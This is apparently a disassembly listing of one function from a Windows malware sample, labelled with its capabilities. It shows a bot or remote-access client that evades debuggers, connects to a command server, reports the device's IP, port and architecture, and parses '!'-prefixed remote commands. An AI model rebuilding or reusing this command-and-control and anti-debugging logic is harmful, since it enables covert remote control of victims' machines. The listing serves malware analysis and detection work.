Function at 0x402c1d
Capabilities:
Create process on windows
Initialize winsock library

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x1428
call fcn.00404310
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x13d0], ecx
mov qword [rbp + 0x13d8], rdx
call sym.__main
mov dword [rbp + 0x139c], 0
jmp 0x402c7a
mov dword [rbp + 0x1398], 0
jmp 0x402c67
add dword [rbp + 0x1398], 1
cmp dword [rbp + 0x1398], 0x98967f
jle 0x402c60
add dword [rbp + 0x139c], 1
cmp dword [rbp + 0x139c], 9
jle 0x402c54
call sym.IsDebuggerPresent
test eax, eax
je 0x402c96
mov eax, 1
jmp 0x4031c6
call sym.CustomIsDebuggerPresentCheck
call sym.getIPAddress
lea rax, [rbp + 0x1a0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x1368], eax
call sym.initConnection
test eax, eax
jne 0x4031c0
call sym.getArch
mov rbx, rax
call sym.getPortz
mov rsi, rax
call sym.getIP
mov rdx, rax
mov eax, dword [0x00410040]
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, rdx
lea rdx, str.e_1_94mDevice_Connected:__s__Port:__s__Arch:__se_0m
mov ecx, eax
call sym.sockprintf
mov dword [rbp + 0x1364], 0
mov dword [rbp + 0x1360], 0
jmp 0x40318e
lea rdx, [rbp + 0x90]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0x90]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x402d67
mov eax, 0xffffffff
jmp 0x4031c6
lea rax, [rbp + 0x20]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x20], 0x68
lea rax, [rbp + 0x1340]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x90]
lea rdx, [rbp + 0x1340]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x402e22
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcess_failed___d_._n
mov rcx, rax
call sym.printf
mov eax, 0xffffffff
jmp 0x4031c6
mov rax, qword [rbp + 0x1340]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x1340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1348]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x1364]
cdqe
mov byte [rbp + rax + 0x340], 0
lea rax, [rbp + 0x340]
mov rcx, rax
call sym.trim
lea rax, [rbp + 0x340]
mov qword [rbp + 0x1390], rax
lea rax, [rbp + 0x340]
lea rdx, [0x0040c1a2]
mov rcx, rax
call sym.strstr
mov rdx, rax
lea rax, [rbp + 0x340]
cmp rdx, rax
jne 0x402ebc
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x1390]
movzx eax, byte [rax]
cmp al, 0x21
jne 0x40318e
mov rax, qword [rbp + 0x1390]
add rax, 1
mov qword [rbp + 0x1388], rax
jmp 0x402eea
add qword [rbp + 0x1388], 1
mov rax, qword [rbp + 0x1388]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402f06
mov rax, qword [rbp + 0x1388]
movzx eax, byte [rax]
test al, al
jne 0x402ee2
mov rax, qword [rbp + 0x1388]
movzx eax, byte [rax]
test al, al
jne 0x402f19
jmp 0x40318e
mov rax, qword [rbp + 0x1388]
mov byte [rax], 0
mov rax, qword [rbp + 0x1390]
add rax, 1
mov qword [rbp + 0x1388], rax
mov rax, qword [rbp + 0x1388]
mov rcx, rax
call sym.strlen
add rax, 2
add qword [rbp + 0x1390], rax
jmp 0x402f71
mov rax, qword [rbp + 0x1390]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x1390]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x1390]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x1390]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
je 0x402f51
mov rax, qword [rbp + 0x1390]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x1390]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xd
je 0x402f51
mov rax, qword [rbp + 0x1390]
mov qword [rbp + 0x1358], rax
jmp 0x402fd1
add qword [rbp + 0x1390], 1
mov rax, qword [rbp + 0x1390]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402fed
mov rax, qword [rbp + 0x1390]
movzx eax, byte [rax]
test al, al
jne 0x402fc9
mov rax, qword [rbp + 0x1390]
mov byte [rax], 0
add qword [rbp + 0x1390], 1
mov rax, qword [rbp + 0x1358]
mov qword [rbp + 0x1380], rax
jmp 0x40303a
mov rax, qword [rbp + 0x1380]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_toupper]
call rax
mov edx, eax
mov rax, qword [rbp + 0x1380]
mov byte [rax], dl
add qword [rbp + 0x1380], 1
mov rax, qword [rbp + 0x1380]
movzx eax, byte [rax]
test al, al
jne 0x40300f
mov dword [rbp + 0x137c], 1
mov rax, qword [rbp + 0x1390]
lea rdx, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x1370], rax
mov rax, qword [rbp + 0x1358]
mov qword [rbp - 0x30], rax
jmp 0x403126
mov rax, qword [rbp + 0x1370]
movzx eax, byte [rax]
cmp al, 0xa
je 0x40310b
mov rax, qword [rbp + 0x1370]
mov rcx, rax
call sym.strlen
add rax, 1
mov rcx, rax
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x137c]
cdqe
mov qword [rbp + rax*8 - 0x30], rdx
mov rax, qword [rbp + 0x1370]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov eax, dword [rbp + 0x137c]
cdqe
mov rax, qword [rbp + rax*8 - 0x30]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x137c]
cdqe
mov rax, qword [rbp + rax*8 - 0x30]
mov rdx, qword [rbp + 0x1370]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x137c], 1
lea rax, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x1370], rax
cmp qword [rbp + 0x1370], 0
jne 0x40307f
lea rdx, [rbp - 0x30]
mov eax, dword [rbp + 0x137c]
mov ecx, eax
call sym.processCmd
cmp dword [rbp + 0x137c], 1
jle 0x40318e
mov dword [rbp + 0x136c], 1
mov dword [rbp + 0x136c], 1
jmp 0x403180
mov eax, dword [rbp + 0x136c]
cdqe
mov rax, qword [rbp + rax*8 - 0x30]
mov rcx, rax
call sym.free
add dword [rbp + 0x136c], 1
mov eax, dword [rbp + 0x136c]
cmp eax, dword [rbp + 0x137c]
jl 0x403164
mov eax, dword [0x00410040]
lea rdx, [rbp + 0x340]
mov r8d, 0x1000
mov ecx, eax
call sym.recvLine
mov dword [rbp + 0x1364], eax
cmp dword [rbp + 0x1364], 0xffffffff
jne 0x402d1b
jmp 0x402cbe
nop
jmp 0x402cbe
add rsp, 0x1428
pop rbx
pop rsi
pop rdi
pop rbp
ret